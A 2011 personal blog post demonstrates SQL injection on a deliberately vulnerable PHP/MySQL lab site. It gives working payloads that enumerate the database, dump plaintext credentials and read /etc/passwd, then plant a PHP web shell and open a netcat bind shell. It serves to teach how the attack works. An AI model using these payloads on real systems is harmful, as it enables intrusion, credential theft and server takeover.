Tuesday, August 2, 2011

From SQL injection to Shell

For months and months i avoided this topic. I always assumed that this injection technique was minor and not high risk. So what if you loose email addresses and phone numbers, this stuff is pretty much public knowledge anyways right?(Google your email address and don't be too surprised by the result). Of course, at the time i knew absolutely nothing about sql injection and i was basing this on pure assumption. Well now that I've taken a good week to learn as much as i can about the topic i must say that i was overwhelmed by what can be accomplished by this attack. Trust me when i say that writing exploits for windows executables is cool and amazing. Sql injection doesn't fall short of coolness either and i would like to demonstrate this. This demonstration should give you an idea of what this attack is and why it is EXTREMELY dangerous.

Note: This is not a tutorial. Background knowledge of sql injection is required to follow. I recommend reading here or check some of the other resources at the end of the post to get a grasp of some of the concepts.

The vulnerable app i would be using here is a php website with a MySQL back-end. You can get the download here. It is know as exploit.co.il i believe.

Installation:

1. Extract the tar.gz file to your web root directory

2. Set up a new database either using CLI or phpMyAdmin and import the "exploit.sql" database

3. You will need to edit the database connection string which is located in a file named"config.php" in your web root folder and "config.php" in webroot/admin/ folderEdit this config file with your sql server address,user name,password and database name.Thats all, Now just browse to "localhost" or 127.0.0.1 to see the web site.

Assuming the website is up and running, we will test for the vulnerability on the newspage.php page. On the homepage click on one of the articles under the "latest news" section. Note the URL on the address bar "http://127.0.0.1/newspage.php?id=1" (note your id=value , parameter may differ based on your selection).

Now add a " ' " at the end of the URL; " http://127.0.0.1/newspage.php?id=1' ".
Notice that nothing fancy really happens. Typically, you would get a database syntax error message somewhere on the page, but the programmer of the website took the extra step to prevent this. This type of sql injection attack is usually classified as blind sql injection.

lets try to add a mysql comment character, "#", to the url; "http://127.0.0.1/newspage.php?id=1'#"
Nothing happened here.

Lets url encode the "#". This becomes "%23".
"http://127.0.0.1/newspage.php?id=1'%23".
Ah this here completed the query. You would notice this as the page returned information pertaining to this id number. This is a sign of the existence of an sql injection vulnerability. You can visualize the query being something like " select * from news where id='1' ". With our inject data, the query would look like this " select * from news where id='1' #' ". The %23 in the url was converted to "#", the comment symbol in mysql.

The following are steps that i took to enumerate information from the database. I would be manipulating the id= parameter in the url from now on.

  1. Obtain the number of columns from the query. id=1' order by x %23 . Where x is the number of columns. Start with 1, then increment this number until the page returned is no longer valid. I learned that the number of columns returned by the query is 7
  2. Determine where and what columns are displayed on the page. id=x' union all select 1,2,3,4,5,6,7 %23. You would notice that the third and seventh column are returned. We will use the 7th column to enumerate database information.
  3. Enumerate the database name. id=x' union all select 1,2,3,4,5,6,database() %23. Database is exploit.
  4. Enumerate the current user. id=x' union all select 1,2,3,4,5,6,current_user() %23. Current user is root :)
  5. Enumerate the tables. id=x' union all select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=database() limit x,1%23. Where x is like an index to the table number. Limit 0,1 will return the first table, limit 1,1 will return the second table, limit 2,1 will return the third table and so forth.
  6. Enumerate the columns. id=x' union all select 1,2,3,4,5,6,column_name from information_schema.columns where table_schema =database() and table_name='x' limit y,1. Where x is a table name that was obtained from step 5 and y is an integer index as discussed above when used with limit.
  7. Now we can enumerate the data. We will enumerate the members table. The members table has three columns, id, username and password. We will get the usernames and their respective passwords. id=x' union all select 1,2,username,4,5,6,password from members limit x,1%23. Where x is used as an integer index value to the results of the query. You would soon notice that passwords are stored in plain text.
  8. Reading files. id=x' union all select 1,2,3,4,5,6,load_file('/etc/passwd')%23. This will display the contents of the file /etc/passwd.
  9. Lets drop a simple backdoor shell. This would only work where there is a directory with write permissions. Assuming /var/www/ has write permision by everyone we can create our backdoor php shell like this.
    id=x' union all select 1,2,3,4,5,6,'<?php system($_GET[cmd]); ?>' into outfile '/var/www/shell.php' %23
    If all went well, using your browser, goto http://127.0.0.1/shell.php?cmd=ls. This should list the current directory contents via the "ls" UNIX command.
  10. Lets get a more interactive shell. Using the same shell.php script we wrote to the database server goto http://127.0.0.1/shell.php?cmd=nc -e /bin/bash -lvp 4444. This sets up a netcat backdoor.
Update: Here is a video demonstration on how most of this is done.

sql injection from aerokid240 on Vimeo.



Resources/Good Reading:
wikipedia
hakipedia.com
exploit.co.il vuln web site
unixwiz.net
securiteam.com
owasp.org

No comments:

Post a Comment